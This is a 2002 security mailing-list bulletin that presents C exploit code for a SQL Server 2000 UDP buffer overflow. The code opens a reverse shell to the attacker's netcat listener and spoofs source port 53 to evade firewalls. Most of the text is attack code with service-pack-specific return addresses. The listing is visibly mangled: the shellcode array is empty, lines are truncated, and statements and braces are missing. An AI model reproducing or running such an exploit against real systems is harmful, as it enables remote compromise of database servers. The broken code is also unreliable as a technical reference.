[EXPL] Advanced Windows Shellcode

From: support@securiteam.com
Date: 08/21/02

From: support@securiteam.com
To: list@securiteam.com
Date: Wed, 21 Aug 2002 16:09:32 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Advanced Windows Shellcode


Traditional windows shellcode uses pipes for stdin, stdout and stderr and
consequently the size of the exploit is c. 600 to 700 bytes. Rather than
creating some pipes though one can create a socket using WSASocket() and
use this socket as the handle to stdinm stdout and stderr. This
considerably reduces the size of the code. If you hard code addresses etc
(in other words you know the OS and OS Service pack of the target system)
you can get the exploit code down to 160 bytes.

This code here uses GetProcAddress and LoadLibrary to be platform
independent though and is c. 300 bytes. David has not optimized it in
anyway and there are indeed many unneeded bytes used.


#include <stdio.h>
#include <windows.h>
#include <winsock.h>

int GainControlOfSQL(void);
int StartWinsock(void);

struct sockaddr_in c_sa;
struct sockaddr_in s_sa;

struct hostent *he;
SOCKET sock;
unsigned int addr;
int SQLUDPPort=1434;
char host[256]="";
char request[4000]="\x04";
char ping[8]="\x02";

char exploit_code[]=

int main(int argc, char *argv[])
 unsigned int ErrorLevel=0,len=0,c =0;
 int count = 0;
 char sc[300]="";
 char ipaddress[40]="";
 unsigned short port = 0;
 unsigned int ip = 0;
 char *ipt="";
 char buffer[400]="";
 unsigned short prt=0;
 char *prtt="";

 if(argc != 2 && argc != 5)
   printf("\n\tSQL Server UDP Buffer Overflow\n\n\tReverse Shell Exploit
   printf("\n\n\tUsage:\n\n\tC:\\>%s host your_ip_address your_port
   printf("\n\n\tYou need to set nectat listening on a port");
   printf("\n\tthat you want the reverse shell to connect to");
   printf("\n\n\te.g.\n\n\tC:\\>nc -l -p 53");
   printf("\n\n\tThen run C:\\>%s db.target.com 53
   printf("\n\n\tAssuming, of course, your IP address is\n");
   printf("\n\tWe set the source UDP port to 53 so this should go
   printf("\n\tmost firewalls - looks like a reply to a DNS query.
   printf("\n\tthe source code if you want to modify this.");
   printf("\n\n\tThe SP Level is the SQL Server Service Pack:");
   printf("\n\tWith no service pack the import address entry for");
   printf("\n\tGetProcAddress() shifts by 12 bytes so we need to");
   printf("\n\tchange one byte of the exploit code to reflect this.");
   printf("\n\n\n\tDavid Litchfield\n\tdavid@ngssoftware.com\n\t22nd May
   return 0;

 if(argc == 5)

   port = atoi(argv[3]);
   // SQL Server 2000 Service pack level
   // The import entry for GetProcAddress in sqlsort.dll
   // is at 0x42ae1010 but on SP 1 and 2 is at 0x42ae101C
   // Need to set the last byte accordingly
   if(argv[4][0] == 0x30)
     printf("Service Pack 0. Import address entry for GetProcAddress @
     printf("Service Pack 1 or 2. Import address entry for GetProcAddress
@ 0x42ae101C\n");


 ErrorLevel = StartWinsock();
   printf("Error starting Winsock.\n");
   return 0;
 if(argc == 2)

   return 0;


 // set this IP address to connect back to
 // this should be your address
 ip = inet_addr(ipaddress);
 ipt = (char*)&ip;

 // set the TCP port to connect on
 // netcat should be listening on this port
 // e.g. nc -l -p 80

 prt = htons(port);
 prt = prt ^ 0xFFFF;
 prtt = (char *) &prt;


 // Overwrite the saved return address on the stack
 // This address contains a jmp esp instruction
 // and is in sqlsort.dll.

 strcat(request,"\xDC\xC9\xB0\x42"); // 0x42B0C9DC

 // Need to do a near jump

 // Need to set an address which is writable or
 // sql server will crash before we can exploit
 // the overrun. Rather than choosing an address
 // on the stack which could be anywhere we'll
 // use an address in the .data segment of sqlsort.dll
 // as we're already using sqlsort for the saved
 // return address

 // SQL 2000 no service packs needs the address here

 // SQL 2000 Service Pack 2 needs the address here

 // just a few nops

 // tack on exploit code to the end of our request
 // and fire it off


 return 0;


int StartWinsock()
 int err=0;
 WORD wVersionRequested;
 WSADATA wsaData;

 wVersionRequested = MAKEWORD( 2, 0 );
 err = WSAStartup( wVersionRequested, &wsaData );
 if ( err != 0 )
   return 0;
 if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
        WSACleanup( );
        return 0;

 if (isalpha(host[0]))
   he = gethostbyname(host);
   addr = inet_addr(host);
   he = gethostbyaddr((char *)&addr,4,AF_INET);

 if (he == NULL)
   return 0;

 return 1;

int GainControlOfSQL(void)

 SOCKET c_sock;

 char resp[600]="";
 char *ptr;
 char *foo;
 int snd=0,rcv=0,count=0, var=0;
 unsigned int ttlbytes=0;
 unsigned int to=2000;
 struct sockaddr_in srv_addr,cli_addr;
 LPSERVENT srv_info;
 LPHOSTENT host_info;
 SOCKET cli_sock;

 if (cli_sock==INVALID_SOCKET)
       return printf(" sock error");

 cli_addr.sin_port=htons((unsigned short)53);

 setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
 if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
       return printf("bind error");

 s_sa.sin_port=htons((unsigned short)SQLUDPPort);

 if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
   return printf("Connect error");

       snd=send(cli_sock, request , strlen (request) , 0);
   printf("Packet sent!\nIf you don't have a shell it didn't work.");
   rcv = recv(cli_sock,resp,596,0);
   if(rcv > 1)
     while(count < rcv)
return 0;


The information has been provided by <mailto:david@ngssoftware.com> David


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages